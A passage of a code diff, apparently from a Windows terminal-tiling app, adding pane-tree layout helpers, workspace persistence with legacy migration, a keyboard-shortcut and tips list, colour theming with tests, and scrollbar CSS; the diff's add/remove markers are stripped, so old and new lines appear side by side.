* empty object to drop the override so the pane falls back to the global
* theme. Metadata-only does NOT swap the id, so the PTY keeps running. */
export function setLeafColors(
root: TreeNode,
leafId: NodeId,
colors: PaneColors | undefined,
): TreeNode {
return replaceById(root, leafId, (node) => {
if (node.kind !== "leaf") return node;
const empty =
!colors ||
(colors.background === undefined &&
colors.foreground === undefined &&
colors.cursor === undefined &&
colors.selection === undefined);
if (empty) {
if (node.colorOverride === undefined) return node;
const next: LeafNode = { ...node };
delete next.colorOverride;
return next;
}
return { ...node, colorOverride: colors };
});
}
/** Compute the actual pixel font size from a leaf's offset, clamped to
* [MIN_FONT_SIZE, MAX_FONT_SIZE]. */
export function resolveFontSize(offset: number | undefined): number {
const px = DEFAULT_FONT_SIZE + (offset ?? 0);
return Math.max(MIN_FONT_SIZE, Math.min(MAX_FONT_SIZE, px));
}
/** Apply a font-size change to one leaf. Internal helper; returns the
* same reference when nothing changes so callers can short-circuit. */
function adjustOneFontSize(leaf: LeafNode, delta: number | null): LeafNode {
if (delta === null) {
if (leaf.fontSizeOffset === undefined) return leaf;
const next: LeafNode = { ...leaf };
delete next.fontSizeOffset;
return next;
}
const cur = leaf.fontSizeOffset ?? 0;
const nextPx = resolveFontSize(cur + delta);
const nextOffset = nextPx - DEFAULT_FONT_SIZE;
if (nextOffset === cur) return leaf;
if (nextOffset === 0) {
const next: LeafNode = { ...leaf };
delete next.fontSizeOffset;
return next;
}
return { ...leaf, fontSizeOffset: nextOffset };
}
/** Adjust a single leaf's font-size offset by `delta` (positive = bigger).
* Pass `delta = null` to reset back to the default. Metadata-only does
* NOT swap the id, so the PTY keeps running. */
export function adjustFontSize(
root: TreeNode,
leafId: NodeId,
delta: number | null,
): TreeNode {
return replaceById(root, leafId, (node) => {
if (node.kind !== "leaf") return node;
return adjustOneFontSize(node, delta);
});
}
/** Adjust EVERY leaf's font-size offset by the same `delta` (or reset all
* to default with `delta = null`). Independent per-pane offsets stay
* independent we just shift each by the same amount. */
export function adjustAllFontSizes(root: TreeNode, delta: number | null): TreeNode {
if (root.kind === "leaf") return adjustOneFontSize(root, delta);
const a = adjustAllFontSizes(root.a, delta);
const b = adjustAllFontSizes(root.b, delta);
if (a === root.a && b === root.b) return root;
return { ...root, a, b };
}
/**
* Reshape the tree into the structure produced by `preset`, but PRESERVE
* existing leaves (and their PTYs) by copying their id/distro/cwd/label/
* broadcast into the preset's slots, in DFS order.
*
* - If the preset has more slots than existing leaves, the extra slots stay
* as their freshly-created (empty) leaves those panes will spawn new
* shells.
* - If the preset has fewer slots than existing leaves, the overflow leaves
* are returned in `dropped` so the caller can kill their PTYs.
*
* Split ratios reset to the preset's defaults (0.5 — the user's previous
* resize work is discarded; that's the point of "apply preset").
*/
export function reshapeToPreset(
existing: TreeNode,
preset: (d: LeafDefaults) => TreeNode,
defaults: LeafDefaults,
): { tree: TreeNode; dropped: NodeId[] } {
const existingLeaves = Array.from(walkLeaves(existing));
const tree = preset(defaults);
const slots = Array.from(walkLeaves(tree));
const dropped: NodeId[] = [];
for (let i = 0; i < slots.length; i++) {
const src = existingLeaves[i];
if (!src) break;
const slot = slots[i];
slot.id = src.id;
slot.shellKind = src.shellKind;
if (src.distro !== undefined) slot.distro = src.distro;
if (src.cwd !== undefined) slot.cwd = src.cwd;
if (src.sshHostId !== undefined) slot.sshHostId = src.sshHostId;
if (src.label !== undefined) slot.label = src.label;
if (src.broadcast !== undefined) slot.broadcast = src.broadcast;
if (src.fontSizeOffset !== undefined) slot.fontSizeOffset = src.fontSizeOffset;
if (src.colorOverride !== undefined) slot.colorOverride = src.colorOverride;
if (src.mcpAllow !== undefined) slot.mcpAllow = src.mcpAllow;
}
for (let i = slots.length; i < existingLeaves.length; i++) {
dropped.push(existingLeaves[i].id);
}
return { tree, dropped };
}
/** Force every leaf's broadcast flag to `on`. Returns the same root reference
* when nothing actually changed, so callers can skip a state update if so. */
export function setAllBroadcast(root: TreeNode, on: boolean): TreeNode {
@ -211,21 +443,407 @@ export function setAllBroadcast(root: TreeNode, on: boolean): TreeNode {
return { ...root, a, b };
}
/** Minimum width/height (px) we allow a pane to shrink to. Just enough for
* the toolbar + a few cols/rows of usable terminal. Used by the split
* handler (to refuse subdividing a pane that's already too small) and by
* the gutter drag (to clamp ratios so neither child drops below this). */
export const MIN_PANE_PX = 180;
// --- flat layout (for absolute-positioned rendering) ------------------------
/** Normalised bounding box: top/left/width/height as fractions [0, 1]. */
export interface Box {
top: number;
left: number;
width: number;
height: number;
}
/** A leaf rendered as a flat sibling: its current LeafNode plus the box
* it occupies in the container. */
export interface LeafSlot {
leaf: LeafNode;
box: Box;
}
/** A draggable gutter at a split boundary. `box` is where to render the
* draggable strip; `parentBox` is the area the gutter divides (needed to
* convert pointer position ratio). */
export interface GutterInfo {
splitId: NodeId;
orientation: Orientation;
ratio: number;
box: Box;
parentBox: Box;
}
/** Walk the tree and produce a flat list of leaf slots + draggable gutters.
* Renderer uses these to position all leaves as siblings in the DOM, which
* lets React preserve component instances (and thus PTYs) across any tree
* reshape splits, closes, presets, etc. */
export function flattenLayout(
root: TreeNode,
box: Box = { top: 0, left: 0, width: 1, height: 1 },
): { leaves: LeafSlot[]; gutters: GutterInfo[] } {
if (root.kind === "leaf") {
return { leaves: [{ leaf: root, box }], gutters: [] };
}
const isH = root.orientation === "h";
const r = root.ratio;
let boxA: Box;
let boxB: Box;
let gutter: GutterInfo;
if (isH) {
const splitPos = box.width * r;
boxA = { top: box.top, left: box.left, width: splitPos, height: box.height };
boxB = {
top: box.top,
left: box.left + splitPos,
width: box.width - splitPos,
height: box.height,
};
gutter = {
splitId: root.id,
orientation: "h",
ratio: r,
box: {
top: box.top,
left: box.left + splitPos,
width: 0,
height: box.height,
},
parentBox: box,
};
} else {
const splitPos = box.height * r;
boxA = { top: box.top, left: box.left, width: box.width, height: splitPos };
boxB = {
top: box.top + splitPos,
left: box.left,
width: box.width,
height: box.height - splitPos,
};
gutter = {
splitId: root.id,
orientation: "v",
ratio: r,
box: {
top: box.top + splitPos,
left: box.left,
width: box.width,
height: 0,
},
parentBox: box,
};
}
const a = flattenLayout(root.a, boxA);
const b = flattenLayout(root.b, boxB);
return {
leaves: [...a.leaves, ...b.leaves],
gutters: [gutter, ...a.gutters, ...b.gutters],
};
}
/** Update a split's ratio by its id. */
export function updateSplitRatio(root: TreeNode, splitId: NodeId, ratio: number): TreeNode {
return replaceById(root, splitId, (node) => {
if (node.kind !== "split") return node;
return { ...node, ratio };
});
}
/**
* Promote the given leaf out one level in the tree the keyboard-driven
* equivalent of the "drag past sibling" gesture. Given:
*
* L's parent split P, P's parent split G (must be perpendicular to P)
*
* restructure so L becomes a direct sibling of the combined (P's other
* child + G's other child) subtree:
*
* HSplit(a, VSplit(b, c)) (promote c)> VSplit(HSplit(a, b), c)
* HSplit(a, VSplit(b, c)) (promote b)> VSplit(b, HSplit(a, c))
*
* Self-inverse: promoting L, then promoting the leaf adjacent to L in the
* combined subtree, returns the original tree. Ratios from P and G carry
* across so the visible layout is approximately preserved.
*
* Returns `null` when the gesture can't apply: leaf not found, leaf is
* the root (no parent), parent is the root (no grandparent), or
* parent's orientation matches grandparent's (no perpendicular promotion
* available same-axis nesting doesn't change the workspace shape).
*/
export function promoteLeaf(root: TreeNode, leafId: NodeId): TreeNode | null {
const found = findLeafWithAncestors(root, leafId);
if (!found) return null;
const { l, p, g, isLFirstInP, isPFirstInG } = found;
if (p.orientation === g.orientation) return null;
const siblingOfL = isLFirstInP ? p.b : p.a;
const siblingOfP = isPFirstInG ? g.b : g.a;
// Combined keeps G's orientation; sibling-of-P stays on its original
// G-side so we don't accidentally mirror unrelated panes.
const combined: SplitNode = {
kind: "split",
id: newId(),
orientation: g.orientation,
ratio: g.ratio,
a: isPFirstInG ? siblingOfL : siblingOfP,
b: isPFirstInG ? siblingOfP : siblingOfL,
};
// New outer keeps P's orientation; L stays on its original P-side.
const newOuter: SplitNode = {
kind: "split",
id: newId(),
orientation: p.orientation,
ratio: p.ratio,
a: isLFirstInP ? l : combined,
b: isLFirstInP ? combined : l,
};
return replaceById(root, g.id, () => newOuter);
}
/** Locate a leaf and its parent + grandparent splits. Returns null if
* the leaf doesn't exist or doesn't have two ancestor splits. */
function findLeafWithAncestors(
root: TreeNode,
leafId: NodeId,
): {
l: LeafNode;
p: SplitNode;
g: SplitNode;
isLFirstInP: boolean;
isPFirstInG: boolean;
} | null {
if (root.kind !== "split") return null;
// root is the grandparent candidate (G). Look at each direct child of
// root — if that child is a split (P), check P's children for the leaf.
for (const isPFirstInG of [true, false]) {
const p = isPFirstInG ? root.a : root.b;
if (p.kind !== "split") continue;
if (p.a.kind === "leaf" && p.a.id === leafId) {
return { l: p.a, p, g: root, isLFirstInP: true, isPFirstInG };
}
if (p.b.kind === "leaf" && p.b.id === leafId) {
return { l: p.b, p, g: root, isLFirstInP: false, isPFirstInG };
}
}
// Recurse on root's children to find deeper L-P-G triples.
return (
findLeafWithAncestors(root.a, leafId) ??
findLeafWithAncestors(root.b, leafId)
);
}
export type Direction = "left" | "right" | "up" | "down";
/** Spatial pane navigation: given an active leaf, find the nearest neighbor
* in the requested direction. Used for Ctrl+Shift+Arrow shortcuts. */
export function findNeighborInDirection(
leaves: LeafSlot[],
fromLeafId: NodeId,
direction: Direction,
): NodeId | null {
const from = leaves.find((s) => s.leaf.id === fromLeafId);
if (!from) return null;
const fromCenter = {
x: from.box.left + from.box.width / 2,
y: from.box.top + from.box.height / 2,
};
const EPS = 1e-3;
let best: { id: NodeId; perpDist: number; primaryDist: number } | null = null;
for (const slot of leaves) {
if (slot.leaf.id === fromLeafId) continue;
const center = {
x: slot.box.left + slot.box.width / 2,
y: slot.box.top + slot.box.height / 2,
};
let primary: number;
let perp: number;
switch (direction) {
case "right":
if (slot.box.left < from.box.left + from.box.width - EPS) continue;
primary = center.x - fromCenter.x;
perp = Math.abs(center.y - fromCenter.y);
break;
case "left":
if (slot.box.left + slot.box.width > from.box.left + EPS) continue;
primary = fromCenter.x - center.x;
perp = Math.abs(center.y - fromCenter.y);
break;
case "down":
if (slot.box.top < from.box.top + from.box.height - EPS) continue;
primary = center.y - fromCenter.y;
perp = Math.abs(center.x - fromCenter.x);
break;
case "up":
if (slot.box.top + slot.box.height > from.box.top + EPS) continue;
primary = fromCenter.y - center.y;
perp = Math.abs(center.x - fromCenter.x);
break;
}
if (
best === null ||
perp < best.perpDist ||
(perp === best.perpDist && primary < best.primaryDist)
) {
best = { id: slot.leaf.id, perpDist: perp, primaryDist: primary };
}
}
return best?.id ?? null;
}
/** Swap two leaves' tree positions. Each leaf carries its own data
* (id, distro, cwd, label, broadcast) into the other's slot. PTYs stay
* alive because React keys on leaf.id and our renderer is flat. */
export function swapLeaves(root: TreeNode, idA: NodeId, idB: NodeId): TreeNode {
if (idA === idB) return root;
const a = findLeaf(root, idA);
const b = findLeaf(root, idB);
if (!a || !b) return root;
function walk(n: TreeNode): TreeNode {
if (n.kind === "leaf") {
if (n.id === idA) return b!;
if (n.id === idB) return a!;
return n;
}
const na = walk(n.a);
const nb = walk(n.b);
if (na === n.a && nb === n.b) return n;
return { ...n, a: na, b: nb };
}
return walk(root);
}
export function serialize(root: TreeNode): string {
return JSON.stringify(root);
}
/** Parse JSON back to a tree. Returns null on invalid input. */
/** Parse JSON back to a tree. Returns null on invalid input. Pre-shellKind
* workspaces are migrated in place: leaves without `shellKind` get one
* inferred from the legacy `distro` sentinel (`"PowerShell"` powershell,
* anything else wsl). */
export function deserialize(json: string): TreeNode | null {
try {
const parsed = JSON.parse(json);
if (!isTreeNode(parsed)) return null;
return parsed;
return migrateLegacyLeaves(parsed);
} catch {
return null;
}
}
// ---- workspaces envelope ---------------------------------------------------
/** One named tab in the tab strip. Each workspace owns its own tile tree;
* leaf NodeIds remain globally unique across workspaces so the app-level
* paneIdByLeaf map continues to work without partitioning. */
export interface Workspace {
id: NodeId;
name: string;
tree: TreeNode;
}
/** Top-level persistence shape. `version` bumps when the envelope schema
* changes; the v1 shape was a bare TreeNode at the JSON root, migrated
* automatically by {@link deserializeWorkspaces}. */
export interface WorkspacesEnvelope {
version: 2;
workspaces: Workspace[];
}
export const WORKSPACES_VERSION = 2 as const;
/** Construct an envelope wrapping a single workspace with the given tree.
* Used for first-launch and as the destination of the v1v2 migration. */
export function singletonEnvelope(tree: TreeNode, name = "Default"): WorkspacesEnvelope {
return {
version: WORKSPACES_VERSION,
workspaces: [{ id: newId(), name, tree }],
};
}
export function serializeWorkspaces(env: WorkspacesEnvelope): string {
return JSON.stringify(env);
}
/** Parse a persisted workspaces envelope. Accepts:
* - Current shape: `{ version: 2, workspaces: [{ id, name, tree }] }`
* - Legacy v1 shape: a bare {@link TreeNode} wrapped as one workspace
* named "Default" with a fresh id.
* Per-leaf legacy migrations ({@link migrateLegacyLeaves}) still apply to
* each workspace's tree. Returns null when the JSON is unrecognisable. */
export function deserializeWorkspaces(json: string): WorkspacesEnvelope | null {
let parsed: unknown;
try {
parsed = JSON.parse(json);
} catch {
return null;
}
// v1: bare TreeNode at the root
if (isTreeNode(parsed)) {
return singletonEnvelope(migrateLegacyLeaves(parsed));
}
// v2: envelope
if (
typeof parsed === "object" &&
parsed !== null &&
(parsed as { version?: unknown }).version === WORKSPACES_VERSION &&
Array.isArray((parsed as { workspaces?: unknown }).workspaces)
) {
const raw = (parsed as { workspaces: unknown[] }).workspaces;
const workspaces: Workspace[] = [];
for (const w of raw) {
if (
typeof w !== "object" ||
w === null ||
typeof (w as { id?: unknown }).id !== "string" ||
typeof (w as { name?: unknown }).name !== "string" ||
!isTreeNode((w as { tree?: unknown }).tree)
) {
continue;
}
const tw = w as { id: string; name: string; tree: TreeNode };
workspaces.push({
id: tw.id,
name: tw.name,
tree: migrateLegacyLeaves(tw.tree),
});
}
if (workspaces.length === 0) return null;
return { version: WORKSPACES_VERSION, workspaces };
}
return null;
}
/** Sentinel used in pre-shellKind workspaces to mark PowerShell panes. */
const LEGACY_POWERSHELL_DISTRO = "PowerShell";
function migrateLegacyLeaves(node: TreeNode): TreeNode {
if (node.kind === "leaf") {
if (node.shellKind) return node;
if (node.distro === LEGACY_POWERSHELL_DISTRO) {
const { distro: _distro, ...rest } = node;
return { ...rest, shellKind: "powershell" };
}
return { ...node, shellKind: "wsl" };
}
const a = migrateLegacyLeaves(node.a);
const b = migrateLegacyLeaves(node.b);
if (a === node.a && b === node.b) return node;
return { ...node, a, b };
}
function isTreeNode(x: unknown): x is TreeNode {
if (typeof x !== "object" || x === null) return false;
const o = x as Record<string, unknown>;

177
src/lib/shortcuts.ts Normal file
View file

@ -0,0 +1,177 @@
/**
* Single source of truth for the keyboard shortcuts and inline tips shown
* in the help overlay. README has a hand-maintained shortcut table that
* mirrors this keep them in sync until/unless we generate one from the
* other.
*/
export interface ShortcutSpec {
/** Display string for the key combo, e.g. "Ctrl+Shift+E". */
keys: string;
description: string;
}
export interface ShortcutSection {
title: string;
items: ShortcutSpec[];
}
export const SHORTCUT_SECTIONS: ShortcutSection[] = [
{
title: "Layout",
items: [
{ keys: "Ctrl+Shift+E", description: "Split active pane to the right" },
{ keys: "Ctrl+Shift+O", description: "Split active pane downward" },
{ keys: "Ctrl+Shift+W", description: "Close active pane" },
{
keys: "Ctrl+Shift+P",
description:
"Promote active pane out one level (turns a nested pane into a full row/column; self-inverse)",
},
],
},
{
title: "Tabs",
items: [
{ keys: "Ctrl+T", description: "New tab (blank workspace, one pane)" },
{
keys: "Ctrl+Shift+T",
description: "Close current tab (confirms when the tab has live panes)",
},
{
keys: "Ctrl+PageDown / Ctrl+PageUp",
description: "Switch to next / previous tab",
},
{ keys: "Ctrl+1 … Ctrl+9", description: "Switch to tab 1 … 9" },
],
},
{
title: "Multi-window",
items: [
{
keys: "Right-click pane toolbar → Move to new window",
description:
"Pop the active pane into a fresh tiletopia window (PTY survives the move; scrollback ring replays)",
},
{
keys: "Drag pane toolbar past the window edge",
description:
"Same as the right-click action — release the drag well outside the window to detach into a new window",
},
],
},
{
title: "Navigation",
items: [
{ keys: "Ctrl+K", description: "Open jump-to-pane palette" },
{
keys: "Ctrl+Shift+← / → / ↑ / ↓",
description:
"Focus neighbour pane in that direction (window-level — works even when no terminal is focused)",
},
{
keys: "Ctrl+Alt+← / → / ↑ / ↓",
description:
"Focus neighbour pane in that direction (from inside the terminal — intercepted before the PTY sees it)",
},
{
keys: "Ctrl+Alt+H / J / K / L",
description:
"Same as Ctrl+Alt+Arrow but in Vim-style HJKL order (left / down / up / right)",
},
{
keys: "Alt+1 … Alt+9",
description:
"Focus the Nth pane in layout order (DFS: left-to-right, top-to-bottom); clamped to pane count. Note: swallows bare Alt+digit — shells using readline digit-argument or vim buffer-jump may conflict.",
},
],
},
{
title: "Broadcast",
items: [
{ keys: "Ctrl+Shift+B", description: "Toggle broadcast on active pane" },
{
keys: "Ctrl+Shift+Alt+B",
description: "Toggle broadcast on ALL panes (same as titlebar 📡)",
},
],
},
{
title: "Font size",
items: [
{
keys: "Ctrl+= / Ctrl+- / Ctrl+0",
description: "Zoom active pane in / out / reset",
},
{
keys: "Ctrl+Shift+= / Ctrl+Shift+- / Ctrl+Shift+0",
description: "Same, applied to every pane",
},
],
},
{
title: "Terminal",
items: [
{
keys: "Ctrl+Shift+C / Ctrl+Shift+V",
description: "Copy selection / paste in terminal",
},
{
keys: "Ctrl+Shift+F",
description: "Open find-in-scrollback bar for the focused pane",
},
{
keys: "Enter / Shift+Enter",
description: "Next / previous match (while search bar is focused)",
},
{
keys: "Escape",
description: "Close find bar and return focus to terminal",
},
],
},
{
title: "Help",
items: [{ keys: "F1", description: "Show this help overlay" }],
},
];
export interface TipSpec {
title: string;
body: string;
}
export const TIPS: TipSpec[] = [
{
title: "Per-pane shell picker",
body: "Click the distro chip in any pane's toolbar to switch between WSL distros, PowerShell, or a saved SSH host. The pane respawns with the new shell.",
},
{
title: "SSH host manager",
body: "Titlebar 🔑 SSH hosts opens the manager. Add hostname / user / port / identity file / jump host / extra ssh args. Saved hosts appear in every pane's dropdown.",
},
{
title: "Saved passwords",
body: "Optionally save a host's password — stored in Windows Credential Manager (DPAPI-encrypted), never written to hosts.json. When ssh prompts on connect it's typed automatically. Hosts with a saved password show 🔒 in the list.",
},
{
title: "Clickable links",
body: "http and https URLs in terminal output get underlined and open in your default browser on click.",
},
{
title: "Drag pane headers to swap or detach",
body: "Grab a pane's title bar and drag onto another pane to swap their tree positions. Drag well outside the window edge (more than ~60px past) and release to detach the pane into a new window — same mechanism as the right-click 'Move to new window' action, PTY stays alive.",
},
{
title: "Workspace persistence",
body: "Layout, labels, distro choices, and SSH hosts auto-save to %APPDATA%/com.megaproxy.tiletopia (debounced 500ms). Closed panes don't come back — only the structure is restored, shells spawn fresh on next launch.",
},
{
title: "Tabs (workspaces)",
body: "Each tab is an independent tile layout — useful for keeping one tab per project. PTYs in non-active tabs keep running (a Claude session in tab A keeps going while you work in tab B). New tab starts with one default-shell pane; close confirms when the tab has live panes. Tabs auto-save to the same workspace.json.",
},
{
title: "MCP server (let Claude drive the workspace)",
body: "Titlebar 🤖 opens the MCP control panel. Start the server, then for Claude Desktop click 'Download .mcpb' and drag the file into Settings → Extensions — zero-config because the bundle reads your bearer token from %APPDATA% at launch (no copy-paste, survives token rotation). For Claude Code (terminal CLI) use the fallback snippet in the panel: it wires npx mcp-remote as a stdio shim because Claude Code's HTTP-MCP client ignores static bearer auth and tries OAuth instead. URL + token persist across restarts; Regenerate the token in the panel if it leaks. Default-deny per pane: toggle 🤖 on each pane's toolbar to expose it to MCP.",
},
];

79
src/lib/theme.test.ts Normal file
View file

@ -0,0 +1,79 @@
import { describe, it, expect } from "vitest";
import {
resolvePaneColors,
toXtermTheme,
DEFAULT_PANE_COLORS,
COLOR_PRESETS,
type PaneColors,
} from "./theme";
describe("resolvePaneColors", () => {
it("falls back to defaults when nothing is set", () => {
expect(resolvePaneColors(undefined, undefined)).toEqual(DEFAULT_PANE_COLORS);
});
it("uses global values over defaults", () => {
const global: PaneColors = { background: "#111111", cursor: "#abcdef" };
const r = resolvePaneColors(global, undefined);
expect(r.background).toBe("#111111");
expect(r.cursor).toBe("#abcdef");
// Unset fields still come from defaults.
expect(r.foreground).toBe(DEFAULT_PANE_COLORS.foreground);
expect(r.selection).toBe(DEFAULT_PANE_COLORS.selection);
});
it("per-pane override wins over global, field by field", () => {
const global: PaneColors = { background: "#111111", foreground: "#222222" };
const override: PaneColors = { background: "#999999" };
const r = resolvePaneColors(global, override);
expect(r.background).toBe("#999999"); // override wins
expect(r.foreground).toBe("#222222"); // inherits global
expect(r.cursor).toBe(DEFAULT_PANE_COLORS.cursor); // inherits default
});
it("always returns all four fields defined", () => {
const r = resolvePaneColors({}, {});
expect(Object.keys(r).sort()).toEqual([
"background",
"cursor",
"foreground",
"selection",
]);
});
});
describe("toXtermTheme", () => {
it("maps resolved colours onto the xterm ITheme shape", () => {
const theme = toXtermTheme({
background: "#0c0c0c",
foreground: "#c5c8c6",
cursor: "#ffffff",
selection: "#3a3a3a",
});
expect(theme.background).toBe("#0c0c0c");
expect(theme.foreground).toBe("#c5c8c6");
expect(theme.cursor).toBe("#ffffff");
// selection maps to xterm 5.x's renamed property.
expect(theme.selectionBackground).toBe("#3a3a3a");
// cursorAccent is pinned to the background for block-cursor legibility.
expect(theme.cursorAccent).toBe("#0c0c0c");
});
it("keeps the fixed softened white/brightWhite slice", () => {
const theme = toXtermTheme(DEFAULT_PANE_COLORS);
expect(theme.white).toBe("#c5c8c6");
expect(theme.brightWhite).toBe("#e0e0e0");
});
});
describe("COLOR_PRESETS", () => {
it("starts with the tiletopia default and every preset is fully specified", () => {
expect(COLOR_PRESETS[0].name).toBe("Tiletopia Dark");
expect(COLOR_PRESETS[0].colors).toEqual(DEFAULT_PANE_COLORS);
for (const p of COLOR_PRESETS) {
for (const key of ["background", "foreground", "cursor", "selection"] as const) {
expect(p.colors[key]).toMatch(/^#[0-9a-fA-F]{6}$/);
}
}
});
});

160
src/lib/theme.ts Normal file
View file

@ -0,0 +1,160 @@
//! Terminal colour theming.
//!
//! tiletopia ships one hard-coded dark palette historically baked into
//! XtermPane. This module turns that into a customisable model:
//!
//! - a GLOBAL default theme (persisted to localStorage, app-wide), and
//! - optional PER-PANE overrides (stored on the LeafNode, persisted with the
//! workspace tree).
//!
//! Only four colours are user-editable — background, foreground, cursor, and
//! selection — the ones that actually move the needle on readability. The
//! rest of xterm's ITheme (the 16-colour ANSI palette, etc.) stays fixed in
//! {@link BASE_XTERM_THEME}: notably `white`/`brightWhite` keep the softened
//! values that tame the Claude TUI's emphasis slots (see XtermPane history).
import type { ITheme } from "@xterm/xterm";
/** The four user-editable colours. All optional: an undefined field on a
* per-pane override falls through to the global default; an undefined field
* on the global default falls through to {@link DEFAULT_PANE_COLORS}. */
export interface PaneColors {
/** Terminal background. */
background?: string;
/** Default text colour. */
foreground?: string;
/** Cursor block colour. */
cursor?: string;
/** Selection highlight background. */
selection?: string;
}
/** Fixed slice of the xterm theme that is NOT user-editable. The softened
* white/brightWhite values date back to the original hard-coded theme they
* keep the Claude TUI's emphasis text from hitting glaring pure white. */
const BASE_XTERM_THEME: ITheme = {
white: "#c5c8c6",
brightWhite: "#e0e0e0",
};
/** Ground-truth defaults the historical tiletopia palette. Every editable
* field resolves to one of these when nothing overrides it. Also exposed as
* the first preset ("Tiletopia Dark"). */
export const DEFAULT_PANE_COLORS: Required<PaneColors> = {
background: "#0c0c0c",
foreground: "#c5c8c6",
cursor: "#ffffff",
selection: "#3a3a3a",
};
/** A named, ready-to-apply colour set shown as a one-click starting point in
* the colour panel. */
export interface ColorPreset {
name: string;
colors: Required<PaneColors>;
}
/** Built-in presets. The first is the tiletopia default; the rest are
* well-known community palettes (background/foreground/cursor/selection
* only the ANSI ramp is left to {@link BASE_XTERM_THEME}). */
export const COLOR_PRESETS: ColorPreset[] = [
{ name: "Tiletopia Dark", colors: DEFAULT_PANE_COLORS },
{
name: "Solarized Dark",
colors: { background: "#002b36", foreground: "#839496", cursor: "#93a1a1", selection: "#073642" },
},
{
name: "Gruvbox Dark",
colors: { background: "#282828", foreground: "#ebdbb2", cursor: "#ebdbb2", selection: "#504945" },
},
{
name: "Dracula",
colors: { background: "#282a36", foreground: "#f8f8f2", cursor: "#f8f8f2", selection: "#44475a" },
},
{
name: "Nord",
colors: { background: "#2e3440", foreground: "#d8dee9", cursor: "#d8dee9", selection: "#434c5e" },
},
{
name: "Light",
colors: { background: "#fafafa", foreground: "#1c1c1c", cursor: "#1c1c1c", selection: "#cfe0ff" },
},
];
/** Merge a per-pane override on top of the global default, then fill any
* still-missing field from {@link DEFAULT_PANE_COLORS}. The result always
* has all four fields defined. */
export function resolvePaneColors(
global: PaneColors | undefined,
override: PaneColors | undefined,
): Required<PaneColors> {
return {
background:
override?.background ?? global?.background ?? DEFAULT_PANE_COLORS.background,
foreground:
override?.foreground ?? global?.foreground ?? DEFAULT_PANE_COLORS.foreground,
cursor: override?.cursor ?? global?.cursor ?? DEFAULT_PANE_COLORS.cursor,
selection:
override?.selection ?? global?.selection ?? DEFAULT_PANE_COLORS.selection,
};
}
/** Build a full xterm ITheme from resolved colours. cursorAccent is pinned to
* the background so a block cursor's glyph stays readable. */
export function toXtermTheme(colors: Required<PaneColors>): ITheme {
return {
...BASE_XTERM_THEME,
background: colors.background,
foreground: colors.foreground,
cursor: colors.cursor,
cursorAccent: colors.background,
selectionBackground: colors.selection,
};
}
// ---------------------------------------------------------------------------
// Global-default persistence (localStorage; frontend-only, no backend hop).
// localStorage is shared across all windows of the same origin, so a new
// window picks up the saved theme at startup, and the `storage` event lets
// open windows react live (see App's listener).
// ---------------------------------------------------------------------------
export const GLOBAL_COLORS_STORAGE_KEY = "tiletopia.globalColors.v1";
/** #rgb / #rrggbb hex validator what `<input type="color">` emits and what
* xterm accepts. We reject anything else so a corrupt localStorage value
* can't poison the theme. */
const HEX_RE = /^#(?:[0-9a-fA-F]{3}|[0-9a-fA-F]{6})$/;
function sanitizeColors(raw: unknown): PaneColors {
if (typeof raw !== "object" || raw === null) return {};
const o = raw as Record<string, unknown>;
const out: PaneColors = {};
for (const key of ["background", "foreground", "cursor", "selection"] as const) {
const v = o[key];
if (typeof v === "string" && HEX_RE.test(v)) out[key] = v;
}
return out;
}
/** Read the saved global theme. Returns {} ( all defaults) when absent or
* unparseable. */
export function loadGlobalColors(): PaneColors {
try {
const raw = localStorage.getItem(GLOBAL_COLORS_STORAGE_KEY);
if (!raw) return {};
return sanitizeColors(JSON.parse(raw));
} catch {
return {};
}
}
/** Persist the global theme. Empty object is stored as-is (means "all
* defaults"), keeping the round-trip lossless. */
export function saveGlobalColors(colors: PaneColors): void {
try {
localStorage.setItem(GLOBAL_COLORS_STORAGE_KEY, JSON.stringify(colors));
} catch (e) {
console.warn("saveGlobalColors failed:", e);
}
}

View file

@ -2,12 +2,15 @@ import { StrictMode } from "react";
import { createRoot } from "react-dom/client";
import "./styles.css";
import App from "./App";
import ErrorBoundary from "./components/ErrorBoundary";
const root = document.getElementById("root");
if (!root) throw new Error("No #root element found");
createRoot(root).render(
<StrictMode>
<App />
<ErrorBoundary label="tiletopia">
<App />
</ErrorBoundary>
</StrictMode>
);

View file

@ -38,28 +38,31 @@ body {
.xterm { height: 100%; }
.xterm-viewport { background: #0c0c0c !important; }
/* Themed scrollbars — Chromium pseudo-elements (WebView2 supports these). */
.xterm-viewport::-webkit-scrollbar {
/* Themed scrollbars Chromium pseudo-elements (WebView2 supports these).
Applied globally so every scroll container (tab strip, panels, menus,
xterm viewport) matches the dark theme instead of falling back to the
native WebView2 scrollbar. */
*::-webkit-scrollbar {
width: 8px;
height: 8px;
}
.xterm-viewport::-webkit-scrollbar-track {
*::-webkit-scrollbar-track {
background: transparent;
}
.xterm-viewport::-webkit-scrollbar-thumb {
*::-webkit-scrollbar-thumb {
background: #2a2a2a;
border-radius: 4px;
border: 1px solid #1a1a1a;
}
.xterm-viewport::-webkit-scrollbar-thumb:hover {
*::-webkit-scrollbar-thumb:hover {
background: #3a3a3a;
}
.xterm-viewport::-webkit-scrollbar-corner {
*::-webkit-scrollbar-corner {
background: transparent;
}
/* Firefox fallback (and the new spec) not strictly needed in WebView2
but free-and-correct. */
.xterm-viewport {
* {
scrollbar-width: thin;
scrollbar-color: #2a2a2a transparent;
}